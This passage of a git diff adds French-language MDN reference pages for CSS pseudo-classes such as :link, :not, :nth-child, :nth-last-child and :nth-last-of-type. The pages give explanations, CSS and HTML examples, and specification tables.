+   <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':left')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.left")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@page")}}</li>
+ <li>{{cssxref(":first")}}</li>
+ <li>{{cssxref(":right")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_link/index.html b/files/fr/web/css/_colon_link/index.html
new file mode 100644
index 0000000000..9d1f128702
--- /dev/null
+++ b/files/fr/web/css/_colon_link/index.html
@@ -0,0 +1,112 @@
+---
+title: ':link'
+slug: 'Web/CSS/:link'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:link'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:link</code></strong> permet de sélectionner les liens à l'intérieur d'éléments. Elle sélectionnera tout lien n'ayant pas été visité, même ceux qui seraient déjà mis en forme via des sélecteurs utilisant d'autres pseudo-classes comme {{cssxref(":hover")}}, {{cssxref(":active")}} ou {{cssxref(":visited")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible les liens qui n'ont pas encore */
+/* été visités */
+a:link {
+  color: red;
+}</pre>
+
+<p>Afin que la mise en forme s'applique au mieux, la règle <code>:link</code> doit être placée avant les autres : <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>. La pseudo-classe {{cssxref(":focus")}} est habituellement placée juste avant ou juste après <code>:hover</code>, en fonction de l'effet désiré.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On utilisera {{cssxref("any-link")}} pour sélectionner un élément qu'il ait été visité ou non.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:link {
+  color: red;
+}
+
+.external:link {
+  background-color: lightblue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Et si on allait voir
+  &lt;a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/"&gt;
+  un peu de JavaScript ?
+  &lt;/a&gt;
+&lt;/p&gt;
+&lt;p&gt;Sinon, on peut continuer à se cultiver sur CSS autre part
+  &lt;a class="external" href="https://css-tricks.com/"&gt;
+  comme CSS Tricks.
+  &lt;/a&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-link', ':link')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#link', ':link')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#link', ':link')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#link-pseudo-classes', ':link')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Levée de la restriction limitant l'utilisation de cette pseudo-classe à l'élément {{HTMLElement("a")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':link')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.link")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":link")}}</li>
+ <li>{{cssxref(":visited")}}</li>
+ <li>{{cssxref(":hover")}}</li>
+ <li>{{cssxref(":active")}}.</li>
+</ul>
diff --git a/files/fr/web/css/_colon_not/index.html b/files/fr/web/css/_colon_not/index.html
new file mode 100644
index 0000000000..7720f1c178
--- /dev/null
+++ b/files/fr/web/css/_colon_not/index.html
@@ -0,0 +1,112 @@
+---
+title: ':not'
+slug: 'Web/CSS/:not'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:not'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> de négation, <strong><code>:not()</code></strong>, est une notation fonctionnelle qui prend un sélecteur comme argument. Elle permet de cibler les éléments qui ne sont pas représentés par cet argument. Le sélecteur passé en argument ne doit pas contenir d'autre sélecteur de négation et ne doit pas cibler de pseudo-élément.</p>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne n'importe quel élément qui n'est */
+/* pas un paragraphe */
+:not(p) {
+  color: blue;
+}</pre>
+
+<p>La <a href="/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage">spécificité</a> de la pseudo-classe <code>:not</code> est la spécificité de son argument. La pseudo-classe de négation n'ajoute pas de spécificité, contrairement aux autres pseudo-classes.</p>
+
+<div class="note">
+<p><strong>Notes :</strong></p>
+
+<ul>
+ <li>Attention à ne pas écrire de sélecteurs inutiles à l'aide de cette pseudo-classe. Ainsi, <code>:not(*) </code>va exclure tous les éléments et ne sera jamais appliqué.</li>
+ <li>À l'inverse, il est possible d'augmenter la <a href="/fr/docs/Web/CSS/Spécificité">spécificitié</a> d'un sélecteur. Ainsi. <code>toto:not(truc)</code> ciblera les mêmes éléments que <code>toto</code>, mais avec une spécificité plus forte.</li>
+ <li><code>:not(toto){}</code> ciblera tout élément qui n'est pas <code>toto</code>, <strong>notamment {{HTMLElement("html")}} et {{HTMLElement("body")}}</strong>.</li>
+ <li>Ce sélecteur ne s'applique qu'à un seul élément. Il ne peut pas être utilisé afin d'exclure tous les ancêtres. Ainsi, <code>body :not(table) a</code> s'appliquera aux liens contenus dans un tableau car {{HTMLElement("tr")}} ne sera pas ciblé par la partie <code>:not()</code> du sélecteur.</li>
+</ul>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La pseudo-classe <code>:not()</code> prend en argument une liste d'un ou plusieurs sélecteurs séparés par des virgules. Cette liste ne doit pas contenir d'autre sélecteur de négation ou <a href="/fr/docs/Web/CSS/Pseudo-éléments">de pseudo-élément</a>.</p>
+
+<div class="warning">
+<p><strong>Attention</strong>, la possibilité d'avoir plusieurs sélecteurs est expérimentale et n'est pas encore largement prise en charge.</p>
+</div>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Contient tous les paragraphes (p) sauf
+   ceux avec le sélecteur de class "classy" */
+p:not(.classy) {
+  color: red;
+}
+
+/* Les balises p sont exclues */
+/* Attention, il est nécessaire d'avoir un      */
+/* combinateur. On ne peut pas écrire ':not(p)' */
+*:not(p) {
+  color: green;
+}
+
+/* Les éléments qui ne sont pas des paragraphes */
+/* et qui n'ont pas la classe "classy" */
+/* Note : cette syntaxe n'est pas bien supportée */
+body :not(.classy, p) {
+  font-family: sans-serif;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Un peu de texte.
+&lt;/p&gt;
+&lt;p class="classy"&gt;
+  Encore du texte.
+&lt;/p&gt;
+&lt;span&gt;
+  Et toujours du texte.
+&lt;span&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#negation', ':not()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>La définition de l'argument est étendue afin d'autoriser les sélecteurs complexes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#negation', ':not()')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.not")}}</p>
diff --git a/files/fr/web/css/_colon_nth-child/index.html b/files/fr/web/css/_colon_nth-child/index.html
new file mode 100644
index 0000000000..b9826680e8
--- /dev/null
+++ b/files/fr/web/css/_colon_nth-child/index.html
@@ -0,0 +1,210 @@
+---
+title: ':nth-child'
+slug: 'Web/CSS/:nth-child'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:nth-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:nth-child(an+b)</code></strong> permet de cibler un élément qui possède <code><em>a</em>n+<em>b</em>-1</code> éléments voisins (au même niveau) avant lui dans l'arbre du document pour des valeurs entières <code>n</code> et qui possède un élément parent. Autrement dit, un sélecteur utilisant cette pseudo-classe permettra de cibler les éléments fils d'un élément dont les positions correspondent au motif <em>an+b</em>.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible les éléments en fonction de leur position dans */
+/* le document : ici le 4e, 8e, 16e, 20e, etc. quel que */
+/* soit le type de l'élément */
+body :nth-child(4n) {
+  background-color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour CSS3, pour que l'élément soit ciblé, il faut qu'il ait un élément parent. En CSS4, cette restriction a été levée.</p>
+</div>
+
+<p>Illustrons cela avec quelques exemples :</p>
+
+<ul>
+ <li><code>1n+0</code> ou <code>n</code> ciblera chaque élément fils. <code>n</code> ne cible aucun élément pour le navigateur Android jusqu'à la version 4.3 alors qu'<code>1n</code> fonctionne. <code>1n</code> est synonyme de <code>1n+0</code> et les deux peuvent donc être utilisés de façon équivalente.</li>
+ <li><code>2n+0</code> ou <code>2n</code> ciblera les éléments fils 2, 4, 6, 8, etc. On pourra utiliser le mot-clé <strong><code>even</code></strong> à la place de cette expression.</li>
+ <li><code>2n+1</code> ciblera les éléments fils 1, 3, 5, 7, etc. On pourra utiliser le mot-clé <strong><code>odd</code></strong> à la place de cette expression.</li>
+ <li><code>3n+4</code> permettra de cibler les éléments fils 4, 7, 10, 13, etc.</li>
+ <li><code>0n+3</code> (ou plus simplement <code>3</code>) permettra de cibler le troisième élément.</li>
+</ul>
+
+<p>Les valeurs des coefficients <code><em>a</em></code> et <code><em>b</em></code> doivent être des entiers et l'indice du premier élément fils commence à 1. Autrement dit, cette pseudo-classe permettra de cibler les éléments fils dont l'indice appartient à l'ensemble <code>{ an + b; n = 0, 1, 2, ... }</code>.</p>
+
+<p>Cette pseudo-classe pourra ainsi être utilisée pour mettre en forme certaines lignes d'un tableau.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La pseudo-classe <code>nth-child</code> prend un seul argument qui représente le motif de répétition des éléments ciblés.</p>
+
+<h3 id="Valeurs_avec_un_mot-clé">Valeurs avec un mot-clé</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>Représente les éléments dont la position est impaire par rapport à leurs voisins.</dd>
+ <dt><code>even</code></dt>
+ <dd>Représente les éléments dont la position est paire par rapport à leurs voisins.</dd>
+</dl>
+
+<h3 id="Notation_fonctionnelle">Notation fonctionnelle</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>Représente les éléments dont la position est la <code>An+B</code>-ième avec <code>n</code> qui parcourt les entiers à partir de 0. Les valeurs fournies pour <code>A</code> et <code>B</code> doivent être des entiers ({{cssxref("&lt;integer&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_de_sélecteurs">Exemples de sélecteurs</h3>
+
+<dl>
+ <dt><code>tr:nth-child(2n+1)</code></dt>
+ <dd>Permettra de cibler les lignes impaires d'un tableau.</dd>
+ <dt><code>tr:nth-child(odd)</code></dt>
+ <dd>Permettra de cibler les lignes impaires d'un tableau.</dd>
+ <dt><code>tr:nth-child(2n)</code></dt>
+ <dd>Permettra de cibler les lignes paires d'un tableau.</dd>
+ <dt><code>tr:nth-child(even)</code></dt>
+ <dd>Permettra de cibler les lignes paires d'un tableau.</dd>
+ <dt><code>span:nth-child(0n+1)</code></dt>
+ <dd>Permettra de cibler un élément {{HTMLElement("span")}} qui est le premier fils de son parent. Cela aura le même effet que la pseudo-classe {{cssxref(":first-child")}}.</dd>
+ <dt><code>span:nth-child(1)</code></dt>
+ <dd>Synonyme à l'exemple précédent.</dd>
+ <dt><code>span:nth-child(-n+3)</code></dt>
+ <dd>Permettra de cibler un élément si celui-ci fait partie des trois premiers fils d'un parent et que c'est également un élément <code>span</code>.</dd>
+</dl>
+
+<h3 id="Exemple_démonstratif">Exemple démonstratif</h3>
+
+<div id="Exemple_demonstratif">
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+span, div em {
+  padding: 10px;
+  border: 1px solid green;
+  display: inline-block;
+  margin-bottom: 3px;
+}
+
+.premier span:nth-child(2n+1),
+.deuxieme span:nth-child(2n+1),
+.troisieme span:nth-of-type(2n+1) {
+  background-color: lime;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;p&gt;
+  &lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;,
+  &lt;em&gt;sans&lt;/em&gt; un &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;
+  parmi les éléments. Les éléments fils 1, 3,
+  5 et 7 sont sélectionnés.
+&lt;/p&gt;
+
+&lt;div class="premier"&gt;
+  &lt;span&gt;Ce span est sélectionné !&lt;/span&gt;
+  &lt;span&gt;Pas ce span ci. :(&lt;/span&gt;
+  &lt;span&gt;Celui-ci ?&lt;/span&gt;
+  &lt;span&gt;Celui-là ?&lt;/span&gt;
+  &lt;span&gt;Un autre exemple&lt;/span&gt;
+  &lt;span&gt;Et encore un&lt;/span&gt;
+  &lt;span&gt;Puis un dernier&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;p&gt;
+  &lt;code&gt;span:nth-child(2n+1)&lt;/code&gt;,
+  &lt;em&gt;avec&lt;/em&gt; un élément &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;
+  parmi les fils. Les éléments fils 1, 5,
+  et 7 sont sélectionnés. 3 est compté
+  mais n'est pas ciblé car ce n'est pas
+  &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;.
+&lt;/p&gt;
+
+&lt;div class="deuxieme"&gt;
+  &lt;span&gt;Ce span est sélectionné !&lt;/span&gt;
+  &lt;span&gt;Pas ce span ci. :(&lt;/span&gt;
+  &lt;em&gt;Ici on a un em.&lt;/em&gt;
+  &lt;span&gt;Qu'en est-il de celui-ci ?&lt;/span&gt;
+  &lt;span&gt;De celui-là ?&lt;/span&gt;
+  &lt;span&gt;Voici un autre exemple&lt;/span&gt;
+  &lt;span&gt;Et encore un&lt;/span&gt;
+  &lt;span&gt;Puis un dernier&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;p&gt;
+  &lt;code&gt;span:nth-of-type(2n+1)&lt;/code&gt;,
+  &lt;em&gt;avec&lt;/em&gt; un &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;
+  parmi les éléments fils. Les éléments fils
+  1, 4, 6 et 8 sont sélectionnés. 3 n'est pas
+  compté ni ciblé car c'est un &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt;,
+  et pas un &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; et
+  &lt;code&gt;nth-of-type&lt;/code&gt; ne sélectionne que les
+  fils de ce type. Ce &lt;code&gt;&amp;lt;em&amp;gt;&lt;/code&gt; est
+  sauté et est ignoré.
+&lt;/p&gt;
+
+&lt;div class="troisieme"&gt;
+  &lt;span&gt;Ce span est sélectionné !&lt;/span&gt;
+  &lt;span&gt;Pas ce span ci. :(&lt;/span&gt;
+  &lt;em&gt;Ici on a un em.&lt;/em&gt;
+  &lt;span&gt;Qu'en est-il de celui-ci ?&lt;/span&gt;
+  &lt;span&gt;De celui-là ?&lt;/span&gt;
+  &lt;span&gt;Voici un autre exemple&lt;/span&gt;
+  &lt;span&gt;Et encore un&lt;/span&gt;
+  &lt;span&gt;Puis un dernier&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<h4 id="Résultat">Résultat</h4>
+
+<div>{{EmbedLiveSample('Exemple_demonstratif','100%', '550')}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ajout de la syntaxe <code>&lt;selector&gt;</code>. Les éléments ciblés peuvent ne pas avoir d'élément parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-child-pseudo', ':nth-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.nth-child")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":nth-of-type")}}</li>
+ <li>{{cssxref(":first-child")}}</li>
+ <li>{{cssxref(":last-child")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_nth-last-child/index.html b/files/fr/web/css/_colon_nth-last-child/index.html
new file mode 100644
index 0000000000..16c0e524ef
--- /dev/null
+++ b/files/fr/web/css/_colon_nth-last-child/index.html
@@ -0,0 +1,197 @@
+---
+title: ':nth-last-child'
+slug: 'Web/CSS/:nth-last-child'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:nth-last-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:nth-last-child</code></strong> permet de cibler les éléments qui possèdent <code><em>a</em>n+<em>b</em>-1</code> nœud frères qui les suivent pour un même élément parent avec un indice n entier qui est incrémenté à partir de 0. Avec CSS3, il était nécessaire que l'élément ciblé ait un élément parent, cette restriction a été levée en CSS4.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible les éléments qui sont les 4e, 8e, 16e     */
+/* 20e à partir de la fin, quel que soit leur type */
+body: nth-last-child(4n) {
+  background-color: lime;
+}</pre>
+
+<p>Cette pseudo-classe fonctionne comme {{cssxref(":nth-child")}} mais cette fois-ci, le comptage s'effectue depuis la fin. Pour plus d'informations sur la syntaxe des arguments, voir {{cssxref(":nth-child")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La pseudo-classe <code>nth-last-child</code> prend un seul argument qui représente le motif de répétition des éléments ciblés, compté à partir de la fin.</p>
+
+<h3 id="Valeurs_avec_un_mot-clé">Valeurs avec un mot-clé</h3>
+
+<dl>
+ <dt><code>odd</code></dt>
+ <dd>Représente les éléments dont la position est impaire par rapport à leurs voisins lorsqu'elle est comptée depuis la fin.</dd>
+ <dt><code>even</code></dt>
+ <dd>Représente les éléments dont la position est paire par rapport à leurs voisins lorsqu'elle est comptée depuis la fin.</dd>
+</dl>
+
+<h3 id="Notation_fonctionnelle">Notation fonctionnelle</h3>
+
+<dl>
+ <dt><code>&lt;An+B&gt;</code></dt>
+ <dd>Représente les éléments dont la position, à partir de la fin, est la <code>An+B</code>-ième avec <code>n</code> qui parcourt les entiers à partir de 0. Les valeurs fournies pour <code>A</code> et <code>B</code> doivent être des entiers {{cssxref("&lt;integer&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_2">Exemples</h3>
+
+<dl>
+ <dt><code>tr:</code>nth-last-child<code>(-n+4)</code></dt>
+ <dd>Permettra de cibler les quatre dernières lignes d'un tableau.</dd>
+ <dt><code>span:nth-last-child(even)</code> ou <code>span:nth-last-child(2n)</code></dt>
+ <dd>Permettra de cibler tous les éléments {{HTMLElement("span")}} pairs en partant de la fin.</dd>
+</dl>
+
+<h3 id="Exemple_appliqué">Exemple appliqué</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">table {
+  border:1px solid blue;
+}
+tr:nth-last-child(-n+3) { /* les trois derniers enfants */
+  background-color: lime;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Première ligne&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Deuxième ligne&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Troisième ligne&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Quatrième ligne&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+       &lt;td&gt;Sixième ligne&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_appliqué', '100%', 150)}}</p>
+
+<h3 id="Cas_aux_limites">Cas aux limites</h3>
+
+<p><code>n</code> commence à zéro et le dernier élément commence à un, <code>n</code> et <code>n+1</code> sélectionnent donc les mêmes éléments.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Première ligne&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Deuxième ligne&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Troisième ligne&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">tr:nth-last-child(n) {
+  background-color: lightgray;
+}
+
+tr:nth-last-child(n+1){
+  font-weight: 600;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Cas_aux_limites')}}</p>
+
+<h3 id="Mise_en_forme_selon_le_nombre_d’éléments">Mise en forme selon le nombre d’éléments</h3>
+
+<p>Il est possible d'utiliser les compteurs pour mettre en forme une liste selon le nombre d'éléments qu'elle contient. Dans l'exemple qui suit, on met les éléments de la liste en rouge si celle-ci contient au moins trois éléments. Pour cela, on combine la pseudo-classe <code>nth-last-child</code> et <a href="/fr/docs/Web/CSS/Sélecteurs_de_voisins_généraux">le sélecteur de voisins généraux (<em>general sibling combinator</em>)</a>.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;h4&gt;Une liste avec quatre éléments :&lt;/h4&gt;
+&lt;ol&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h4&gt;Une liste avec deux éléments :&lt;/h4&gt;
+&lt;ol&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">li:nth-last-child(n+3),
+li:nth-last-child(n+3) ~ li {
+  color: red;
+}</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Mise_en_forme_selon_le_nombre_d’éléments", '100%', 270)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Les éléments ciblés peuvent ne pas avoir d'élément parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#nth-last-child-pseudo', ':nth-last-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.nth-last-child")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":nth-child")}}</li>
+ <li><em><a href="https://alistapart.com/article/quantity-queries-for-css">Quantity Queries for CSS</a></em></li>
+</ul>
diff --git a/files/fr/web/css/_colon_nth-last-of-type/index.html b/files/fr/web/css/_colon_nth-last-of-type/index.html
new file mode 100644
index 0000000000..f8689c04d1
--- /dev/null
+++ b/files/fr/web/css/_colon_nth-last-of-type/index.html
@@ -0,0 +1,93 @@
+---
+title: ':nth-last-of-type'
+slug: 'Web/CSS/:nth-last-of-type'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:nth-last-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:nth-last-of-type</code></strong> permet de cibler des éléments qui possèdent <code><em>a</em>n+<em>b</em>-1</code> nœud frères étant les mêmes éléments à partir de la fin de l'arbre et qui ont le même élément parent (l'indice <code>n</code> sera incrémenté à partir de 0). Autrement dit, la pseudo-classe parcourra les éléments d'un type donné en partant de la fin de l'élément parent, selon le motif passé en argument.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible les éléments &lt;div&gt; qui sont les 4e */
+/* 8e, 16e, 20e, à partir du dernier élément */
+/* &lt;div&gt; d'un élément parent */
+div:nth-last-of-type(4n) {
+  background-color: lime;
+}</pre>
+
+<p>Pour plus de détails sur les arguments passés à cette pseudo-classe, voir {{cssxref(":nth-child")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La pseudo-classe <code>nth-last-of-type</code> prend un seul argument qui représente le motif de répétition des éléments correspondants, comptés à partir de la fin.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ici, on souhaite mettre en avant le deuxième élément {{HTMLElement("span")}} en partant de la fin :</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span:nth-last-of-type(2) {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Ce span est le premier !&lt;/span&gt;
